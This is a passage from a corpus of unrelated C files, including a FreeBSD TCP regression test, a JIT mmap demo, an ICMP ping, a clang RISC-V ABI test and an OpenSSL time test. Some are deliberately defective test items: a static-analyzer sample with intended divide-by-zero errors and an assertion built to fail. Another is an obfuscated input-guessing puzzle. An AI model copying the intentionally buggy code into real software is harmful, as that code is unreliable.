nmemb, stream); } static char * vot_dbl2str (double dval) { static char val[SZ_LINE]; bzero (val, SZ_LINE); sprintf (val, "%f", dval); return (val); } #endif
the_stack_data/9511589.c
#include <stdio.h> int fib(int x) { if (x <= 1) return 1; else return fib(x-1) + fib(x-2); }
the_stack_data/104800.c
#include <stdint.h> #include <stdio.h> void main() { int32_t a; a = 3; a %= 2; }
the_stack_data/107954144.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_atoi.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ioleinik <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/05/13 20:15:45 by ioleinik #+# #+# */ /* Updated: 2021/09/17 20:20:49 by ioleinik ### ########.fr */ /* */ /* ************************************************************************** */ int ft_atoi(const char *str) { int i; long long res; int sign; i = 0; sign = 1; res = 0; while ((str[i] != '\0') && (str[i] == ' ' || str[i] == '\f' || str[i] == '\n' || str[i] == '\r' || str[i] == '\t' || str[i] == '\v')) i++; if (str[i] == '+' || str[i] == '-') { if (str[i] == '-') sign = -1; i++; } while (str[i] != '\0' && str[i] >= '0' && str[i] <= '9') { res = res * 10 + (str[i] - '0'); if (res > 2147483648 || res < -2147483649) return (0); i++; } return (((int)res * sign)); }
the_stack_data/1112193.c
//Classification: p/ZD/aS+dA/A(D(v,c),v)/fp/ln //Written by: Igor Eremeev #include <malloc.h> int func(int *p) { int a = 3, b = 2, c = 1, d; d = 1/(p[0]-a); d = 1/(p[1]-b); d = 1/(p[2]-c); return 0; } int main(void) { int *p; p = (int *)malloc(sizeof(int) * 3); p[0] = 6; p[1] = 5; p[2] = 2; func(p); return 0; }
the_stack_data/117328077.c
#include <stdlib.h> #include <string.h> #include <assert.h> #define N 1 int main() { int *dev_a = (int*)malloc(sizeof(int)); int a = 2; memcpy(dev_a,&a,sizeof(int)); assert(dev_a[0]==1); return 0; }
the_stack_data/165768540.c
#include <stdio.h> #define IN 1 #define OUT 0 int main() { int c, nw, nl, nc = 0; int state = OUT; }
the_stack_data/26701504.c
/* Copyright 2004 Michiel Boland. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. $FreeBSD: src/tools/regression/netinet/tcpfullwindowrst/tcpfullwindowrsttest.c,v 1.1 2004/12/01 12:12:12 nik Exp $ */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <fcntl.h> #include <poll.h> #include <unistd.h> #include <signal.h> #include <stdlib.h> #include <string.h> /* * The following code sets up two connected TCP sockets that send data to each * other until the window is closed. Then one of the sockets is closed, which * will generate a RST once the TCP at the other socket does a window probe. * * All versions of FreeBSD prior to 11/26/2004 will ignore this RST into a 0 * window, causing the connection (and application) to hang indefinitely. * On patched versions of FreeBSD (and other operating systems), the RST * will be accepted and the program will exit in a few seconds. */ /* * If the alarm fired then we've hung and the test failed. */ void do_alrm(int s) { printf("not ok 1 - tcpfullwindowrst\n"); exit(0); } int main(void) { int o, s, t, u, do_t, do_u; struct pollfd pfd[2]; struct sockaddr_in sa; char buf[4096]; printf("1..1\n"); signal(SIGALRM, do_alrm); alarm(20); s = socket(AF_INET, SOCK_STREAM, 0); if (s == -1) return 1; o = 1; setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &o, sizeof o); memset(&sa, 0, sizeof sa); sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(3737); if (bind(s, (struct sockaddr *) &sa, sizeof sa) == -1) return 1; if (listen(s, 1) == -1) return 1; t = socket(AF_INET, SOCK_STREAM, 0); if (t == -1) return 1; if (connect(t, (struct sockaddr *) &sa, sizeof sa) == -1) return 1; u = accept(s, 0, 0); if (u == -1) return 1; close(s); fcntl(t, F_SETFL, fcntl(t, F_GETFL) | O_NONBLOCK); fcntl(u, F_SETFL, fcntl(t, F_GETFL) | O_NONBLOCK); do_t = 1; do_u = 1; pfd[0].fd = t; pfd[0].events = POLLOUT; pfd[1].fd = u; pfd[1].events = POLLOUT; while (do_t || do_u) { if (poll(pfd, 2, 1000) == 0) { if (do_t) { close(t); pfd[0].fd = -1; do_t = 0; } continue; } if (pfd[0].revents & POLLOUT) { if (write(t, buf, sizeof buf) == -1) { close(t); pfd[0].fd = -1; do_t = 0; } } if (pfd[1].revents & POLLOUT) { if (write(u, buf, sizeof buf) == -1) { close(u); pfd[1].fd = -1; do_u = 0; } } } printf("ok 1 - tcpfullwindowrst\n"); return 0; }
the_stack_data/876288.c
#define _GNU_SOURCE #include <assert.h> /* for assert */ #include <stddef.h> /* for NULL */ #include <string.h> /* for memcpy */ #include <sys/mman.h> /* for mmap */ #undef _GNU_SOURCE // clang-format off const unsigned char program[] = { // mov eax, 42 (0x2a) 0xb8, 0x2a, 0x00, 0x00, 0x00, // ret 0xc3, }; // clang-format on const int kProgramSize = sizeof program; typedef int (*JitFunction)(); int main() { void *memory = mmap(/*addr=*/NULL, kProgramSize, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, /*filedes=*/-1, /*off=*/0); memcpy(memory, program, kProgramSize); int result = mprotect(memory, kProgramSize, PROT_EXEC); assert(result == 0 && "mprotect failed"); JitFunction function = *(JitFunction *)&memory; int return_code = function(); assert(return_code == 42 && "the assembly was wrong"); result = munmap(memory, kProgramSize); assert(result == 0 && "munmap failed"); // Return 0 so we can run this as a test and not stop Make return 0; }
the_stack_data/323006.c
/* PR c++/14755 */ extern void abort (void); extern void exit (int); int main (void) { #if __INT_MAX__ >= 2147483647 struct { int count: 31; } s = { 0 }; while (s.count--) abort (); #elif __INT_MAX__ >= 32767 struct { int count: 15; } s = { 0 }; while (s.count--) abort (); #else /* Don't bother because __INT_MAX__ is too small. */ #endif exit (0); }
the_stack_data/25969.c
void main () { // // line comment // line comment line comment line comment line comment line comment line // comment line comment line comment line comment line comment line comment /**/ /* line comment */ /* line comment line comment line comment line comment line comment line comment line comment line comment line comment line comment line comment */ /* * block comment * */ /* * block comment block comment block comment block comment block comment block comment block comment block comment block comment block comment * block comment block comment block comment block comment block comment block comment block comment block comment block comment block comment * */ }
the_stack_data/144512.c
// SPDX-License-Identifier: GPL-2.0-only /* * arcksyms.c - Exporting symbols not exportable from their own sources * * Copyright (C) 2004, 2007-2010, 2011-2012 Synopsys, Inc. (www.synopsys.com) */ #include <linux/module.h> /* libgcc functions, not part of kernel sources */ extern void __ashldi3(void); extern void __ashrdi3(void); extern void __divsi3(void); extern void __divsf3(void); extern void __lshrdi3(void); extern void __modsi3(void); extern void __muldi3(void); extern void __ucmpdi2(void); extern void __udivsi3(void); extern void __umodsi3(void); extern void __cmpdi2(void); extern void __fixunsdfsi(void); extern void __muldf3(void); extern void __divdf3(void); extern void __floatunsidf(void); extern void __floatunsisf(void); extern void __udivdi3(void); EXPORT_SYMBOL(__ashldi3); EXPORT_SYMBOL(__ashrdi3); EXPORT_SYMBOL(__divsi3); EXPORT_SYMBOL(__divsf3); EXPORT_SYMBOL(__lshrdi3); EXPORT_SYMBOL(__modsi3); EXPORT_SYMBOL(__muldi3); EXPORT_SYMBOL(__ucmpdi2); EXPORT_SYMBOL(__udivsi3); EXPORT_SYMBOL(__umodsi3); EXPORT_SYMBOL(__cmpdi2); EXPORT_SYMBOL(__fixunsdfsi); EXPORT_SYMBOL(__muldf3); EXPORT_SYMBOL(__divdf3); EXPORT_SYMBOL(__floatunsidf); EXPORT_SYMBOL(__floatunsisf); EXPORT_SYMBOL(__udivdi3); /* ARC optimised assembler routines */ EXPORT_SYMBOL(memset); EXPORT_SYMBOL(memcpy); EXPORT_SYMBOL(memcmp); EXPORT_SYMBOL(strchr); EXPORT_SYMBOL(strcpy); EXPORT_SYMBOL(strcmp); EXPORT_SYMBOL(strlen);
the_stack_data/132953925.c
#include "netdb.h" /****************************************************************************** * * Private Access * *****************************************************************************/ static const char* _gai_error_msgs[] = { "Temporary failure in name resolution", "Bad value for ai_flags", "Non-recoverable failure in name resolution", "ai_family not supported", "Memory allocation failure", "Name or service not known", "Argument buffer overflow", "Servname not supported for ai_socktype", "ai_socktype not supported", "System error", "Unknown error" }; /****************************************************************************** * * Public Access * *****************************************************************************/ /****************************************************************************** * * The gai_strerror() function returns a text string describing an error value * for the getaddrinfo() and getnameinfo() functions listed in the <netdb.h> * header. * When the ecode argument is one of the following values listed in the * <netdb.h> header: * * [EAI_AGAIN] * [EAI_BADFLAGS] * [EAI_FAIL] * [EAI_FAMILY] * [EAI_MEMORY] * [EAI_NONAME] * [EAI_OVERFLOW] * [EAI_SERVICE] * [EAI_SOCKTYPE] * [EAI_SYSTEM] * * The function return value points to a string describing the error. If the * argument is not one of those values listed above, the function returns a * pointer to a string whose contents indicate an unknown error. * * Upon successful completion, gai_strerror() returns a pointer to an * error string. * *****************************************************************************/ const char *gai_strerror(int ecode) { switch(ecode) { case EAI_AGAIN: return _gai_error_msgs[0]; case EAI_BADFLAGS: return _gai_error_msgs[1]; case EAI_FAIL: return _gai_error_msgs[2]; case EAI_FAMILY: return _gai_error_msgs[3]; case EAI_MEMORY: return _gai_error_msgs[4]; case EAI_NONAME: return _gai_error_msgs[5]; case EAI_OVERFLOW: return _gai_error_msgs[6]; case EAI_SERVICE: return _gai_error_msgs[7]; case EAI_SOCKTYPE: return _gai_error_msgs[8]; case EAI_SYSTEM: return _gai_error_msgs[9]; default: return _gai_error_msgs[10]; } }
the_stack_data/64200846.c
/* Generated by CIL v. 1.7.0 */ /* print_CIL_Input is false */ struct _IO_FILE; struct timeval; extern float strtof(char const *str , char const *endptr ) ; extern void signal(int sig , void *func ) ; typedef struct _IO_FILE FILE; extern int atoi(char const *s ) ; extern double strtod(char const *str , char const *endptr ) ; extern int fclose(void *stream ) ; extern void *fopen(char const *filename , char const *mode ) ; extern void abort() ; extern void exit(int status ) ; extern int raise(int sig ) ; extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ; extern int strcmp(char const *a , char const *b ) ; extern int rand() ; extern unsigned long strtoul(char const *str , char const *endptr , int base ) ; void RandomFunc(unsigned long input[1] , unsigned long output[1] ) ; extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ; extern int gettimeofday(struct timeval *tv , void *tz , ...) ; extern int printf(char const *format , ...) ; int main(int argc , char *argv[] ) ; void megaInit(void) ; extern unsigned long strlen(char const *s ) ; extern long strtol(char const *str , char const *endptr , int base ) ; extern unsigned long strnlen(char const *s , unsigned long maxlen ) ; extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ; struct timeval { long tv_sec ; long tv_usec ; }; extern void *malloc(unsigned long size ) ; extern int scanf(char const *format , ...) ; int main(int argc , char *argv[] ) { unsigned long input[1] ; unsigned long output[1] ; int randomFuns_i5 ; unsigned long randomFuns_value6 ; int randomFuns_main_i7 ; { megaInit(); if (argc != 2) { printf("Call this program with %i arguments\n", 1); exit(-1); } else { } randomFuns_i5 = 0; while (randomFuns_i5 < 1) { randomFuns_value6 = strtoul(argv[randomFuns_i5 + 1], 0, 10); input[randomFuns_i5] = randomFuns_value6; randomFuns_i5 ++; } RandomFunc(input, output); if (output[0] == 4242424242UL) { printf("You win!\n"); } else { } randomFuns_main_i7 = 0; while (randomFuns_main_i7 < 1) { printf("%lu\n", output[randomFuns_main_i7]); randomFuns_main_i7 ++; } } } void megaInit(void) { { } } void RandomFunc(unsigned long input[1] , unsigned long output[1] ) { unsigned long state[1] ; unsigned long local2 ; unsigned long local1 ; char copy11 ; { state[0UL] = input[0UL] + 1373777115UL; local1 = 0UL; while (local1 < 1UL) { local2 = 0UL; while (local2 < 1UL) { copy11 = *((char *)(& state[0UL]) + 1); *((char *)(& state[0UL]) + 1) = *((char *)(& state[0UL]) + 4); *((char *)(& state[0UL]) + 4) = copy11; state[local2] = (state[local2] >> (((state[0UL] >> 2UL) & 15UL) | 1UL)) | (state[local2] << (64 - (((state[0UL] >> 2UL) & 15UL) | 1UL))); local2 ++; } local1 ++; } output[0UL] = (state[0UL] | 682246734UL) + 981331187UL; } }
the_stack_data/52267.c
/* ** my_sort_int_tab.c for my_sort_int_tab in /home/thibrex/delivery/CPool_Day04 ** ** Made by Cornolti Thibaut ** Login <[email protected]> ** ** Started on Tue Oct 11 12:33:01 2016 Cornolti Thibaut ** Last update Sun Nov 6 22:25:51 2016 yann probst */ void my_sort_int_tab(int *tab, int size) { int temp; int i; int j; i = 0; while (i < size) { j = i + 1; while (j < size) { if (tab[j] > tab[i]) { temp = tab[i]; tab[i] = tab[j]; tab[j] = temp; } j += 1; } i += 1; } }
the_stack_data/179831464.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <netdb.h> /* 校验和計算 */ u_int16_t checksum(unsigned short *buf, int size) { unsigned long sum = 0; while (size > 1) { sum += *buf; buf++; size -= 2; } if (size == 1) sum += *(unsigned char *)buf; sum = (sum & 0xffff) + (sum >> 16); sum = (sum & 0xffff) + (sum >> 16); return ~sum; } /* protocol指定的raw socket创建 */ int make_raw_socket(int protocol) { int s = socket(AF_INET, SOCK_RAW, protocol); if (s < 0) { perror("socket"); exit(EXIT_FAILURE); } return s; } /* ICMP头部的作成 */ void setup_icmphdr(u_int8_t type, u_int8_t code, u_int16_t id, u_int16_t seq, struct icmphdr *icmphdr) { memset(icmphdr, 0, sizeof(struct icmphdr)); icmphdr->type = type; icmphdr->code = code; icmphdr->checksum = 0; icmphdr->un.echo.id = id; icmphdr->un.echo.sequence = seq; icmphdr->checksum = checksum((unsigned short *)icmphdr, sizeof(struct icmphdr)); } int main(int argc, char **argv) { int n, soc; char buf[1500]; struct sockaddr_in addr; struct in_addr insaddr; struct icmphdr icmphdr; struct iphdr *recv_iphdr; struct icmphdr *recv_icmphdr; if (argc < 2) { printf("Usage : %s IP_ADDRESS\n", argv[0]); return 1; } addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(argv[1]); soc = make_raw_socket(IPPROTO_ICMP); setup_icmphdr(ICMP_ECHO, 0, 0, 0, &icmphdr); /* ICMP包的送信 */ n = sendto(soc, (char *)&icmphdr, sizeof(icmphdr), 0, (struct sockaddr *)&addr, sizeof(addr)); if (n < 1) { perror("sendto"); return 1; } /* ICMP包的受信 */ n = recv(soc, buf, sizeof(buf), 0); if (n < 1) { perror("recv"); return 1; } recv_iphdr = (struct iphdr *)buf; /* 从IP包头获取IP包的长度,从而确定icmp包头的开始位置 */ recv_icmphdr = (struct icmphdr *)(buf + (recv_iphdr->ihl << 2)); insaddr.s_addr = recv_iphdr->saddr; /* 检查送信包的源地址匹配受信包的目的地址 */ if (!strcmp(argv[1], inet_ntoa(insaddr)) && recv_icmphdr->type == ICMP_ECHOREPLY) printf("icmp echo reply from %s\n", argv[1]); close(soc); return 0; }
the_stack_data/75521.c
// RUN: %clang_cc1 -triple riscv32 -target-feature +f -target-abi ilp32f -emit-llvm %s -o - \ // RUN: | FileCheck %s // RUN: %clang_cc1 -triple riscv32 -target-feature +d -target-abi ilp32d -emit-llvm %s -o - \ // RUN: | FileCheck %s #include <stdint.h> // Verify that the tracking of used GPRs and FPRs works correctly by checking // that small integers are sign/zero extended when passed in registers. // Floats are passed in FPRs, so argument 'i' will be passed zero-extended // because it will be passed in a GPR. // CHECK: define{{.*}} void @f_fpr_tracking(float %a, float %b, float %c, float %d, float %e, float %f, float %g, float %h, i8 zeroext %i) void f_fpr_tracking(float a, float b, float c, float d, float e, float f, float g, float h, uint8_t i) {} // Check that fp, fp+fp, and int+fp structs are lowered correctly. These will // be passed in FPR, FPR+FPR, or GPR+FPR regs if sufficient registers are // available the widths are <= XLEN and FLEN, and should be expanded to // separate arguments in IR. They are passed by the same rules for returns, // but will be lowered to simple two-element structs if necessary (as LLVM IR // functions cannot return multiple values). // A struct containing just one floating-point real is passed as though it // were a standalone floating-point real. struct float_s { float f; }; // CHECK: define{{.*}} void @f_float_s_arg(float %0) void f_float_s_arg(struct float_s a) {} // CHECK: define{{.*}} float @f_ret_float_s() struct float_s f_ret_float_s() { return (struct float_s){1.0}; } // A struct containing a float and any number of zero-width bitfields is // passed as though it were a standalone floating-point real. struct zbf_float_s { int : 0; float f; }; struct zbf_float_zbf_s { int : 0; float f; int : 0; }; // CHECK: define{{.*}} void @f_zbf_float_s_arg(float %0) void f_zbf_float_s_arg(struct zbf_float_s a) {} // CHECK: define{{.*}} float @f_ret_zbf_float_s() struct zbf_float_s f_ret_zbf_float_s() { return (struct zbf_float_s){1.0}; } // CHECK: define{{.*}} void @f_zbf_float_zbf_s_arg(float %0) void f_zbf_float_zbf_s_arg(struct zbf_float_zbf_s a) {} // CHECK: define{{.*}} float @f_ret_zbf_float_zbf_s() struct zbf_float_zbf_s f_ret_zbf_float_zbf_s() { return (struct zbf_float_zbf_s){1.0}; } // Check that structs containing two float values (FLEN <= width) are expanded // provided sufficient FPRs are available. struct float_float_s { float f; float g; }; // CHECK: define{{.*}} void @f_float_float_s_arg(float %0, float %1) void f_float_float_s_arg(struct float_float_s a) {} // CHECK: define{{.*}} { float, float } @f_ret_float_float_s() struct float_float_s f_ret_float_float_s() { return (struct float_float_s){1.0, 2.0}; } // CHECK: define{{.*}} void @f_float_float_s_arg_insufficient_fprs(float %a, float %b, float %c, float %d, float %e, float %f, float %g, [2 x i32] %h.coerce) void f_float_float_s_arg_insufficient_fprs(float a, float b, float c, float d, float e, float f, float g, struct float_float_s h) {} // Check that structs containing int+float values are expanded, provided // sufficient FPRs and GPRs are available. The integer components are neither // sign or zero-extended. struct float_int8_s { float f; int8_t i; }; struct float_uint8_s { float f; uint8_t i; }; struct float_int32_s { float f; int32_t i; }; struct float_int64_s { float f; int64_t i; }; struct float_int64bf_s { float f; int64_t i : 32; }; struct float_int8_zbf_s { float f; int8_t i; int : 0; }; // CHECK: define{{.*}} void @f_float_int8_s_arg(float %0, i8 %1) void f_float_int8_s_arg(struct float_int8_s a) {} // CHECK: define{{.*}} { float, i8 } @f_ret_float_int8_s() struct float_int8_s f_ret_float_int8_s() { return (struct float_int8_s){1.0, 2}; } // CHECK: define{{.*}} void @f_float_uint8_s_arg(float %0, i8 %1) void f_float_uint8_s_arg(struct float_uint8_s a) {} // CHECK: define{{.*}} { float, i8 } @f_ret_float_uint8_s() struct float_uint8_s f_ret_float_uint8_s() { return (struct float_uint8_s){1.0, 2}; } // CHECK: define{{.*}} void @f_float_int32_s_arg(float %0, i32 %1) void f_float_int32_s_arg(struct float_int32_s a) {} // CHECK: define{{.*}} { float, i32 } @f_ret_float_int32_s() struct float_int32_s f_ret_float_int32_s() { return (struct float_int32_s){1.0, 2}; } // CHECK: define{{.*}} void @f_float_int64_s_arg(%struct.float_int64_s* %a) void f_float_int64_s_arg(struct float_int64_s a) {} // CHECK: define{{.*}} void @f_ret_float_int64_s(%struct.float_int64_s* noalias sret(%struct.float_int64_s) align 8 %agg.result) struct float_int64_s f_ret_float_int64_s() { return (struct float_int64_s){1.0, 2}; } // CHECK: define{{.*}} void @f_float_int64bf_s_arg(float %0, i32 %1) void f_float_int64bf_s_arg(struct float_int64bf_s a) {} // CHECK: define{{.*}} { float, i32 } @f_ret_float_int64bf_s() struct float_int64bf_s f_ret_float_int64bf_s() { return (struct float_int64bf_s){1.0, 2}; } // The zero-width bitfield means the struct can't be passed according to the // floating point calling convention. // CHECK: define{{.*}} void @f_float_int8_zbf_s(float %0, i8 %1) void f_float_int8_zbf_s(struct float_int8_zbf_s a) {} // CHECK: define{{.*}} { float, i8 } @f_ret_float_int8_zbf_s() struct float_int8_zbf_s f_ret_float_int8_zbf_s() { return (struct float_int8_zbf_s){1.0, 2}; } // CHECK: define{{.*}} void @f_float_int8_s_arg_insufficient_gprs(i32 %a, i32 %b, i32 %c, i32 %d, i32 %e, i32 %f, i32 %g, i32 %h, [2 x i32] %i.coerce) void f_float_int8_s_arg_insufficient_gprs(int a, int b, int c, int d, int e, int f, int g, int h, struct float_int8_s i) {} // CHECK: define{{.*}} void @f_struct_float_int8_insufficient_fprs(float %a, float %b, float %c, float %d, float %e, float %f, float %g, float %h, [2 x i32] %i.coerce) void f_struct_float_int8_insufficient_fprs(float a, float b, float c, float d, float e, float f, float g, float h, struct float_int8_s i) {} // Complex floating-point values or structs containing a single complex // floating-point value should be passed as if it were an fp+fp struct. // CHECK: define{{.*}} void @f_floatcomplex(float %a.coerce0, float %a.coerce1) void f_floatcomplex(float __complex__ a) {} // CHECK: define{{.*}} { float, float } @f_ret_floatcomplex() float __complex__ f_ret_floatcomplex() { return 1.0; } struct floatcomplex_s { float __complex__ c; }; // CHECK: define{{.*}} void @f_floatcomplex_s_arg(float %0, float %1) void f_floatcomplex_s_arg(struct floatcomplex_s a) {} // CHECK: define{{.*}} { float, float } @f_ret_floatcomplex_s() struct floatcomplex_s f_ret_floatcomplex_s() { return (struct floatcomplex_s){1.0}; } // Test single or two-element structs that need flattening. e.g. those // containing nested structs, floats in small arrays, zero-length structs etc. struct floatarr1_s { float a[1]; }; // CHECK: define{{.*}} void @f_floatarr1_s_arg(float %0) void f_floatarr1_s_arg(struct floatarr1_s a) {} // CHECK: define{{.*}} float @f_ret_floatarr1_s() struct floatarr1_s f_ret_floatarr1_s() { return (struct floatarr1_s){{1.0}}; } struct floatarr2_s { float a[2]; }; // CHECK: define{{.*}} void @f_floatarr2_s_arg(float %0, float %1) void f_floatarr2_s_arg(struct floatarr2_s a) {} // CHECK: define{{.*}} { float, float } @f_ret_floatarr2_s() struct floatarr2_s f_ret_floatarr2_s() { return (struct floatarr2_s){{1.0, 2.0}}; } struct floatarr2_tricky1_s { struct { float f[1]; } g[2]; }; // CHECK: define{{.*}} void @f_floatarr2_tricky1_s_arg(float %0, float %1) void f_floatarr2_tricky1_s_arg(struct floatarr2_tricky1_s a) {} // CHECK: define{{.*}} { float, float } @f_ret_floatarr2_tricky1_s() struct floatarr2_tricky1_s f_ret_floatarr2_tricky1_s() { return (struct floatarr2_tricky1_s){{{{1.0}}, {{2.0}}}}; } struct floatarr2_tricky2_s { struct {}; struct { float f[1]; } g[2]; }; // CHECK: define{{.*}} void @f_floatarr2_tricky2_s_arg(float %0, float %1) void f_floatarr2_tricky2_s_arg(struct floatarr2_tricky2_s a) {} // CHECK: define{{.*}} { float, float } @f_ret_floatarr2_tricky2_s() struct floatarr2_tricky2_s f_ret_floatarr2_tricky2_s() { return (struct floatarr2_tricky2_s){{}, {{{1.0}}, {{2.0}}}}; } struct floatarr2_tricky3_s { union {}; struct { float f[1]; } g[2]; }; // CHECK: define{{.*}} void @f_floatarr2_tricky3_s_arg(float %0, float %1) void f_floatarr2_tricky3_s_arg(struct floatarr2_tricky3_s a) {} // CHECK: define{{.*}} { float, float } @f_ret_floatarr2_tricky3_s() struct floatarr2_tricky3_s f_ret_floatarr2_tricky3_s() { return (struct floatarr2_tricky3_s){{}, {{{1.0}}, {{2.0}}}}; } struct floatarr2_tricky4_s { union {}; struct { struct {}; float f[1]; } g[2]; }; // CHECK: define{{.*}} void @f_floatarr2_tricky4_s_arg(float %0, float %1) void f_floatarr2_tricky4_s_arg(struct floatarr2_tricky4_s a) {} // CHECK: define{{.*}} { float, float } @f_ret_floatarr2_tricky4_s() struct floatarr2_tricky4_s f_ret_floatarr2_tricky4_s() { return (struct floatarr2_tricky4_s){{}, {{{}, {1.0}}, {{}, {2.0}}}}; } // Test structs that should be passed according to the normal integer calling // convention. struct int_float_int_s { int a; float b; int c; }; // CHECK: define{{.*}} void @f_int_float_int_s_arg(%struct.int_float_int_s* %a) void f_int_float_int_s_arg(struct int_float_int_s a) {} // CHECK: define{{.*}} void @f_ret_int_float_int_s(%struct.int_float_int_s* noalias sret(%struct.int_float_int_s) align 4 %agg.result) struct int_float_int_s f_ret_int_float_int_s() { return (struct int_float_int_s){1, 2.0, 3}; } struct int64_float_s { int64_t a; float b; }; // CHECK: define{{.*}} void @f_int64_float_s_arg(%struct.int64_float_s* %a) void f_int64_float_s_arg(struct int64_float_s a) {} // CHECK: define{{.*}} void @f_ret_int64_float_s(%struct.int64_float_s* noalias sret(%struct.int64_float_s) align 8 %agg.result) struct int64_float_s f_ret_int64_float_s() { return (struct int64_float_s){1, 2.0}; } struct char_char_float_s { char a; char b; float c; }; // CHECK-LABEL: define{{.*}} void @f_char_char_float_s_arg([2 x i32] %a.coerce) void f_char_char_float_s_arg(struct char_char_float_s a) {} // CHECK: define{{.*}} [2 x i32] @f_ret_char_char_float_s() struct char_char_float_s f_ret_char_char_float_s() { return (struct char_char_float_s){1, 2, 3.0}; } // Unions are always passed according to the integer calling convention, even // if they can only contain a float. union float_u { float a; }; // CHECK: define{{.*}} void @f_float_u_arg(i32 %a.coerce) void f_float_u_arg(union float_u a) {} // CHECK: define{{.*}} i32 @f_ret_float_u() union float_u f_ret_float_u() { return (union float_u){1.0}; }
the_stack_data/68888563.c
/* ==================================================================== * Copyright (c) 2001-2015 The OpenSSL Project. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * 3. All advertising materials mentioning features or use of this * software must display the following acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" * * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to * endorse or promote products derived from this software without * prior written permission. For written permission, please contact * [email protected]. * * 5. Products derived from this software may not be called "OpenSSL" * nor may "OpenSSL" appear in their names without prior written * permission of the OpenSSL Project. * * 6. Redistributions of any form whatsoever must retain the following * acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" * * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * ==================================================================== * * This product includes cryptographic software written by Eric Young * ([email protected]). This product includes software written by Tim * Hudson ([email protected]). * */ #include <openssl/crypto.h> #include <stdio.h> #define SECS_PER_DAY (24 * 60 * 60) /* * Time checking test code. Check times are identical for a wide range of * offsets. This should be run on a machine with 64 bit time_t or it will * trigger the very errors the routines fix. */ static int check_time(long offset) { struct tm tm1, tm2, o1; int off_day, off_sec; long toffset; time_t t1, t2; time(&t1); t2 = t1 + offset; OPENSSL_gmtime(&t2, &tm2); OPENSSL_gmtime(&t1, &tm1); o1 = tm1; OPENSSL_gmtime_adj(&tm1, 0, offset); if ((tm1.tm_year != tm2.tm_year) || (tm1.tm_mon != tm2.tm_mon) || (tm1.tm_mday != tm2.tm_mday) || (tm1.tm_hour != tm2.tm_hour) || (tm1.tm_min != tm2.tm_min) || (tm1.tm_sec != tm2.tm_sec)) { fprintf(stderr, "TIME ERROR!!\n"); fprintf(stderr, "Time1: %d/%d/%d, %d:%02d:%02d\n", tm2.tm_mday, tm2.tm_mon + 1, tm2.tm_year + 1900, tm2.tm_hour, tm2.tm_min, tm2.tm_sec); fprintf(stderr, "Time2: %d/%d/%d, %d:%02d:%02d\n", tm1.tm_mday, tm1.tm_mon + 1, tm1.tm_year + 1900, tm1.tm_hour, tm1.tm_min, tm1.tm_sec); return 0; } if (!OPENSSL_gmtime_diff(&off_day, &off_sec, &o1, &tm1)) return 0; toffset = (long)off_day *SECS_PER_DAY + off_sec; if (offset != toffset) { fprintf(stderr, "TIME OFFSET ERROR!!\n"); fprintf(stderr, "Expected %ld, Got %ld 